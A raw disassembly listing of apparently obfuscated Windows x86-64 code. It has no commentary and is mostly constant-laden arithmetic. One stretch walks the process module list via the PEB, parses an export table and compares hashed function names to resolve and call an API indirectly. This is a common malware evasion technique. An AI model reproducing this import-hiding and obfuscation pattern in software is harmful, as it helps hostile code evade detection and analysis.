add ecx, r14d
rol r10, cl
mov rax, r11
sub rax, qword [0x1402b2078]
xor r10, rax
movabs rax, 0x7353162d82f41012
imul rdx, rax
movabs rax, 0x49316246d398a487
add rdx, rax
xor r10, rdx
xor r10, r9
xor r10, rbx
mov rax, r10
and rax, r14
xor rax, 2
je 0x1401d931a
sub rax, 1
je 0x1401d91cd
sub rax, 1
je 0x1401d9099
cmp rax, 1
jne 0x1401d93f5
mov rcx, r11
imul rcx, rsi
movabs rax, 0xe2dff6c13ebec9f3
add rax, r10
xor rcx, rax
ror rcx, 0x26
shr rcx, 0xc
xor rcx, rbx
not rcx
mov qword [rsp + 0x48], rcx
movabs rdx, 0x83570a52761e
mov r8, qword [0x1402b2088]
add r8, rdx
movabs rax, 0xa27620a1602ace13
xor r8, rax
mov eax, r10d
imul eax, ecx
and eax, 0x3f
mov ecx, edi
sub ecx, eax
mov rdx, r8
shl rdx, cl
mov ecx, eax
shr r8, cl
or rdx, r8
shl rdx, 0xf
movabs rax, 0xf7ca7db952b29ae1
sub rax, rsi
mov rsi, rdx
xor rsi, rax
mov rcx, rsi
movabs rax, 0x5d0b5a26de9c6775
imul rcx, rax
mov eax, 0x8369480b
add rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea rax, [0x1402b2060]
mov cl, byte [rax + rcx*8]
and cl, 0xf
movabs rax, 0x400160809961b35e
mov r8, qword [rsp + 0x48]
sub rax, r8
shr rax, cl
mov qword [rsp + 0x48], rax
movabs rcx, 0xa2fcca619350d153
add rcx, qword [rsp + 0x40]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
lea rdx, [0x1402b2060]
imul rax, qword [rdx + rcx*8]
imul rax, r10
sub rax, qword [rsp + 0x50]
xor qword [rsp + 0x48], rax
jmp 0x1401d93f5
movabs rax, 0xaaaaaa1a8370b535
mov rcx, r10
xor rcx, rax
movabs rax, 0x1206ed417d6979
imul rcx, rax
movabs rdx, 0xfff17ca854128349
mov rax, r9
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8aa56087e9
mov rdx, qword [rsp + 0x40]
imul rdx, rax
movabs rsi, 0xe44b4d5e5997ab6c
add rsi, rcx
add rsi, rdx
movabs rax, 0x277cd7be51a06255
mov rcx, rsi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdx, rsi
not rdx
lea rax, [0x1402b2060]
imul rdx, qword [rax + rcx*8]
xor rdx, 0xffffffffd62563e5
lea eax, [r10 - 9]
and eax, 0x3f
mov ecx, edi
sub ecx, eax
mov r11, rdx
shr r11, cl
mov ecx, eax
shl rdx, cl
or r11, rdx
movabs rcx, 0x24403042a0000000
mov rax, qword [rsp + 0x80]
xor rax, rcx
movabs rcx, 0x7c7a7dc6bf226954
and rax, rcx
imul r11, rax
mov rcx, r11
ror rcx, 0xa
not rcx
movabs rax, 0x9b2de6b2793381c8
imul rcx, rax
mov rax, rsi
sub rax, r11
lea r8, [rcx + rax*4]
mov eax, dword [rsp + 0x50]
and eax, 0x3f
mov ecx, edi
sub ecx, eax
mov rdx, r8
shl rdx, cl
mov ecx, eax
shr r8, cl
or rdx, r8
movabs rax, 0x5d0b5a26de9c6775
imul rdx, rax
mov qword [rsp + 0x48], rdx
movabs r8, 0xf477851ed1d26c62
jmp 0x1401d93f5
movabs rax, 0xae3ba331f5d91315
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0xa2f4a5d92163988a
mov rax, rbx
imul rax, rdx
xor rax, r8
not rax
shl rax, cl
xor r9, rax
mov eax, dword [rsp + 0x30]
and eax, 0x8000003f
jge 0x1401d9228
sub eax, r14d
or eax, 0xffffffc0
add eax, r14d
mov cl, al
rol r9, cl
movabs rcx, 0xa2f4a5d92163988b
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x1a26de9c6775
lea rax, [0x1402b2060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a7dfb4c318
or r9, rax
mov rcx, qword [0x1402b2070]
imul rcx, r8
sub rcx, r11
mov rax, qword [rsp + 0x50]
sub rax, r9
xor rcx, rax
movabs rax, 0xc7a7c6a68ebcc315
xor rcx, rax
mov qword [rsp + 0x48], rcx
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rbx
sub rcx, rax
or rcx, r14
xor edx, edx
mov rax, qword [rsp + 0x48]
div rcx
mov rcx, rdx
mov rdx, r10
imul rdx, r11
imul rdx, qword [rsp + 0x48]
shr rdx, cl
mov rax, rsi
sub rax, rdx
sub rax, rbx
movabs rbx, 0x789589441ee8f0f
add rbx, rax
xor rbx, qword [rsp + 0x50]
movzx eax, sil
imul ecx, eax, 0xf0
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x1401d93f5
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r9
sub rcx, rax
mov rax, r10
imul rax, qword [0x1402b2080]
lea rdx, [0x1402b2060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r9
and r9d, 0x3f
mov eax, r9d
mov ecx, edi
sub ecx, r9d
mov r9, rdx
shl r9, cl
mov ecx, eax
shr rdx, cl
or r9, rdx
imul r9, r11
mov rcx, qword [rsp + 0x50]
not rcx
imul rcx, rsi
movabs rax, 0x7cd8a7de534d92f4
imul rcx, rax
mov rax, r9
imul rax, rbx
mov rbx, rcx
xor rbx, rax
imul rax, qword [0x1402b2060], 0xffffffff9124bf8a
mov rdx, qword [0x1402b2068]
sub rax, rdx
mov qword [rsp + 0x80], rax
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1401d93d3
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
mov rax, qword [rsp + 0x80]
ror rax, cl
movabs rcx, 0xa2f4a5d92163988b
add rax, rcx
add rax, qword [rsp + 0x40]
mov qword [rsp + 0x50], rax
movabs rax, 0xff055d7ba3069839
xor r8, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r8, rax
xor r9, rbx
lea rax, [0x1402b2060]
imul r9, qword [rax + r8*8]
not r11
imul r11, r10
imul r11, qword [rsp + 0x50]
imul r11, qword [rsp + 0x48]
movabs rcx, 0xf5ed7e87a4b5d2e5
xor rcx, rsi
not rcx
xor rcx, r11
sub rcx, r9
call fcn.14016ec20
mov qword [0x1402b3190], rax
mov ebx, r13d
mov esi, 0x87d990e2
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x1401d94d1
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0xec97676
jmp 0x1401d94c3
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, r15d
xor ecx, r12d
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x1401d94a6
cmp r9d, ebx
jne 0x1401d9615
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov r11d, ecx
add r11, r10
shr rcx, 0x20
cmp r11, r10
je 0x1401d9615
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1401d9615
mov r9d, dword [r11 + 0x20]
dec r8d
mov dword [rsp + 0x30], r8d
mov edx, r8d
mov qword [rsp + 0x48], rdx
lea rdx, [r9 + r8*4]
mov r9d, dword [rdx + r10]
add r9, r10
mov edx, 0xec97676
mov r8b, byte [r9]
mov byte [rsp + 0x38], r8b
add r9, r14
test r8b, r8b
mov r8d, dword [rsp + 0x30]
je 0x1401d9578
mov r10d, edx
mov dl, byte [rsp + 0x38]
movsx r8d, dl
mov edx, r8d
imul edx, r8d
add edx, r15d
xor edx, r12d
xor r8d, r10d
mov r10d, edx
imul r10d, r8d
mov dl, byte [r9]
add r9, r14
test dl, dl
jne 0x1401d9541
mov dword [rsp + 0x40], r10d
mov r10, qword [rax + 0x30]
mov r8d, dword [rsp + 0x30]
mov edx, dword [rsp + 0x40]
cmp edx, esi
je 0x1401d958a
test r8d, r8d
mov r9d, dword [r11 + 0x20]
jne 0x1401d9505
jmp 0x1401d9615
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov eax, dword [r11 + 0x24]
add rax, r10
mov r8, qword [rsp + 0x48]
movzx eax, word [rax + r8*2]
mov r9d, dword [rdx + rax*4]
add r9, r10
cmp r9, r11
jbe 0x1401d961d
lea rax, [r11 + rcx]
cmp r9, rax
jae 0x1401d961d
mov ebx, 0xec97676
mov esi, ebx
jmp 0x1401d95da
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, r15d
xor edx, r12d
mov eax, ebx
xor eax, ecx
mov ebx, edx
imul ebx, eax
add r9, r14
mov al, byte [r9]
cmp al, 0x2e
jne 0x1401d95c0
jmp 0x1401d95fa
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, r15d
xor edx, r12d
mov eax, esi
xor eax, ecx
mov esi, edx
imul esi, eax
add r9, r14
mov al, byte [r9]
test al, al
jne 0x1401d95e3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1401d947a
mov qword [rsp + 0x210], r13
movabs rax, 0x808c8301ed49c8c
mov qword [rsp + 0x210], rax
movabs rcx, 0xcc5ad4851dc3d3a
add rcx, qword [rsp + 0x210]
movabs rax, 0x628b4fedad9be3e0
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0x4ed45970efa4dc4a
add rcx, rax
movabs rax, 0x707459bde76eb82
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0xd829ab47fd621bd1
add rcx, rax
mov rdx, qword [0x1402b2040]
add rcx, rdx
movabs rax, 0xa56e865982a14434
xor rcx, rax
movabs rax, 0x2b02fde68fd059ec
sub rcx, rax
movabs rax, 0xe7c4c32e63bd47b3
xor rcx, rax
movabs rax, 0x95ab432c75251cd4
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0xec3316b521476f48
mov rax, qword [0x1402b2038]
xor rax, rcx
sub rdx, rax
movabs rax, 0x13cce94adeb890b7
mov rcx, qword [0x1402b2030]
xor rcx, rax
movabs r8, 0x1f4a9145104f22f6
add r8, rdx
add r8, rcx
movabs rax, 0xa2a5aedb64690c78
xor r8, rax
mov qword [rsp + 0x210], r8
mov rdx, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x430]
call r9
nop
mov qword [rsp + 0x210], r13
movabs rsi, 0x664698f7e3ed6db9
movabs rax, 0x6da90c9390000000
movabs r12, 0xdb5de4d9c307f781
mov r15, qword [0x1402b2068]
imul r15, rax
movabs rax, 0xcc249d71b0000000
xor r15, rax
mov rcx, r15
imul rcx, r12
mov qword [rsp + 0x48], rcx
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r15
and r9, r12
lea r11, [0x1402b2060]
imul r9, qword [r11 + rcx*8]
movabs rax, 0x49b811f6ef6b5100
imul r9, rax
shr r9, 3
movabs rax, 0xeb603e70bb6d675d
xor r9, rax
movabs rax, 0xffffff57d625a637
mov r8, r15
imul r8, rax
sub r8, 0x2689a700
xor r8, r9
xor r8, qword [0x1402b2060]
mov rax, r9
imul rax, qword [0x1402b2070]
movabs rcx, 0xb9de928bdf961916
imul rax, rcx
not rax
and r8, rax
ror r8, 0x26
shr r8, 8
mov qword [rsp + 0x80], r8
movabs rcx, 0x24a21b263cf8087f
add rcx, r15
xor rcx, 0xffffffffe118121b
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x319323c24e54fa00
mov rbx, qword [r11 + rcx*8]
imul rbx, rax
movabs rdx, 0x24a21b263cf8087f
sub rbx, rdx
movabs rcx, 0xc6fc76db6a4324e4
mov rax, r9
imul rax, rcx
xor rbx, rax
shr rbx, 0x1f
not rbx
mov rax, rbx
xor rax, r15
mov qword [rsp + 0x50], rax
lea rcx, [rbx + rdx]
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, bl
movzx ecx, byte [r11 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 7
and ecx, 0x8000003f
jge 0x1401d98cb
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
mov rax, qword [rsp + 0x50]
ror rax, cl
not rax
imul rax, r9
mov qword [rsp + 0x50], rax
imul rax, rax, 0xffffffffd9765900
mov qword [rsp + 0x40], rax
movabs r10, 0x24a21b263cf8087f
add r10, rax
mov rdx, rbx
imul rdx, r8
sub rdx, r10
xor rdx, rsi
movzx eax, r10b
mov dword [rsp + 0x30], eax
xor eax, 0xfffffff8
and eax, 0xf
mov ecx, edi
sub ecx, eax
mov r11, rdx
shr r11, cl
mov ecx, eax
shl rdx, cl
or r11, rdx
movabs rcx, 0xf43963c53381d900
mov rax, qword [rsp + 0x50]
imul rax, rcx
movabs rcx, 0xd517c0001a7d0ff
add rax, rcx
xor r11, rax
mov rax, r10
sub rax, qword [0x1402b2078]
xor r11, rax
xor r11, r9
xor r11, r15
mov rax, r11
and rax, r14
je 0x1401d9cf8
sub rax, 1
je 0x1401d9bb8
sub rax, 1
je 0x1401d9a8d
cmp rax, 1
jne 0x1401d9dc4
mov rsi, r10
imul rsi, rbx
movabs rax, 0x876aef822a6c1b49
add rax, r11
xor rsi, rax
ror rsi, 0x1c
shr rsi, 0xc
xor rsi, r15
not rsi
movabs rcx, 0x83573d671714
mov r8, qword [0x1402b2088]
add r8, rcx
movabs rax, 0x24209e5e4a843fe9
xor r8, rax
mov eax, r11d
imul eax, esi
and eax, 0x3f
sub edi, eax
mov cl, dil
mov rdx, r8
shl rdx, cl
mov ecx, eax
shr r8, cl
or rdx, r8
shl rdx, 0xf
movabs rax, 0xf7ca7db96587fbef
sub rax, rbx
mov rbx, rdx
xor rbx, rax
mov rcx, rbx
imul rcx, r12
mov eax, 0xb45c2905
add rcx, rax
movabs r8, 0xaaaaaaaaaaaaaaab
mov rax, r8
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea rdi, [0x1402b2060]
mov cl, byte [rdi + rcx*8]
and cl, 0xf
movabs r12, 0x509ab3cdea3e5b56
sub r12, rsi
shr r12, cl
movabs rax, 0x24aa3fae83d06249
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, r8
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r11
imul rax, qword [rdi + rcx*8]
imul rax, r11
mov r8, qword [rsp + 0x80]
sub rax, r8
xor r12, rax
jmp 0x1401d9dc4
movabs rax, 0xaaaaaa1ab445d43b
mov rcx, r11
xor rcx, rax
movabs rax, 0x1206ed76480877
imul rcx, rax
movabs rdx, 0xfff17ca86327e247
mov rax, r9
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a9255e6e7
mov rdx, qword [rsp + 0x40]
imul rdx, rax
movabs rbx, 0x6e86227badf2ab80
add rbx, rcx
add rbx, rdx
movabs rax, 0x277cd7be6695035b
mov rcx, rbx
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdx, rbx
not rdx
lea rax, [0x1402b2060]
imul rdx, qword [rax + rcx*8]
xor rdx, 0xffffffffe11002eb
lea eax, [r11 - 7]
and eax, 0x3f
mov ecx, edi
sub ecx, eax
mov r10, rdx
shr r10, cl
mov ecx, eax
shl rdx, cl
or r10, rdx
movabs rcx, 0x2504080000000
mov rax, qword [rsp + 0x48]
xor rax, rcx
movabs rcx, 0x7c7a7dc68817085a
and rax, rcx
imul r10, rax
mov rcx, r10
ror rcx, 0x1f
not rcx
movabs rax, 0x9b2de6b2a5e605f0
imul rcx, rax
mov rax, rbx
sub rax, r10
lea r8, [rcx + rax*4]
mov rax, qword [rsp + 0x80]
and eax, 0x3f
sub edi, eax
mov cl, dil
mov rdx, r8
shl rdx, cl
mov ecx, eax
shr r8, cl
or rdx, r8
mov rax, r12
mov r12, rdx
imul r12, rax
mov r8, qword [rsp + 0x80]
jmp 0x1401d9dc4
movabs rax, 0xc5b8bcbf1ac5dcbf
imul r11, rax
movabs rax, 0xd79435e50d79435f
mul r11
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r11b
sub cl, dl
movabs rdx, 0x24a21b263cf8087e
mov rax, r15
imul rax, rdx
xor rax, rsi
not rax
shl rax, cl
xor rax, r9
mov edx, dword [rsp + 0x30]
and edx, 0x3f
sub edi, edx
mov r9, rax
mov cl, dil
shr r9, cl
mov ecx, edx
shl rax, cl
or r9, rax
movabs rcx, 0x24a21b263cf8087f
add rcx, r11
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xffffe4d9c307f781
lea rax, [0x1402b2060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a7e881a216
or r9, rax
mov r12, qword [0x1402b2070]
imul r12, rsi
sub r12, r10
mov rcx, r8
sub rcx, r9
xor r12, rcx
movabs rax, 0xc7a7c6a6b989a21b
xor r12, rax
movabs rax, 0xcccccccccccccccd
mul r15
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r15
sub rcx, rax
or rcx, r14
xor edx, edx
mov rax, r12
div rcx
mov rcx, rdx
mov rdx, r11
imul rdx, r10
imul rdx, r12
shr rdx, cl
mov rax, rbx
sub rax, rdx
sub rax, r15
movabs r15, 0x789589476dbee01
add r15, rax
xor r15, r8
movzx eax, bl
imul ecx, eax, 0xfe
and cl, 0x3f
rol r15, cl
not r15
jmp 0x1401d9dc4
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rdx, r9
sub rdx, rax
mov rax, r11
imul rax, qword [0x1402b2080]
lea rcx, [0x1402b2060]
mov r8, qword [rcx + rdx*8]
and r8, rax
xor r8, r9
and r9d, 0x3f
mov eax, r9d
sub edi, r9d
mov cl, dil
mov r9, r8
shl r9, cl
mov ecx, eax
shr r8, cl
or r9, r8
imul r9, r10
mov rcx, qword [rsp + 0x80]
not rcx
imul rcx, rbx
movabs rax, 0x7cd8a7de6478f3fa
imul rcx, rax
mov rax, r9
imul rax, r15
mov r15, rcx
xor r15, rax
imul rdx, qword [0x1402b2060], 0xffffffffd9765900
mov r8, qword [0x1402b2068]
sub rdx, r8
mov al, r15b
not al
movzx ecx, al
movzx eax, r8b
xor ecx, eax
and ecx, 0x8000003f
jge 0x1401d9daf
sub ecx, r14d
or ecx, 0xffffffc0
add ecx, r14d
ror rdx, cl
movabs r8, 0x24a21b263cf8087f
add r8, rdx
add r8, qword [rsp + 0x40]
movabs rax, 0xff055d7b9433f937
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r9, r15
lea rax, [0x1402b2060]
imul r9, qword [rax + rsi*8]
not r10
imul r10, r11
imul r10, r8
imul r10, r12
movabs rcx, 0xf5ed7e879380b3eb
xor rcx, rbx
not rcx
xor rcx, r10
sub rcx, r9
call fcn.14016f07c
mov qword [0x1402b3190], rax
mov dword [rsp + 0xf8], r13d
mov dword [rsp + 0xf8], 0x85df3be5
mov eax, dword [rsp + 0xf8]
add eax, 0x5aaac3bb
xor eax, 0x590fecaf
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x6c758f49
xor eax, 0x5852ae7
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0xfb6dc43c
add eax, ecx
xor eax, 0x2895b2c8
sub eax, 0x599ff524
xor eax, 0x3b5bdfe
mov edx, dword [0x1402b2030]
xor edx, 0xe95569d
sub edx, eax
mov eax, dword [0x1402b2038]
xor eax, 0xf16aa962
sub edx, eax
sub edx, ecx
sub edx, 0x34e7bced
xor edx, 0xd55acd1a
mov dword [rsp + 0xf8], edx
movsxd rax, edx
mov dword [rsp + 0xf8], r13d
jmp 0x1401d776d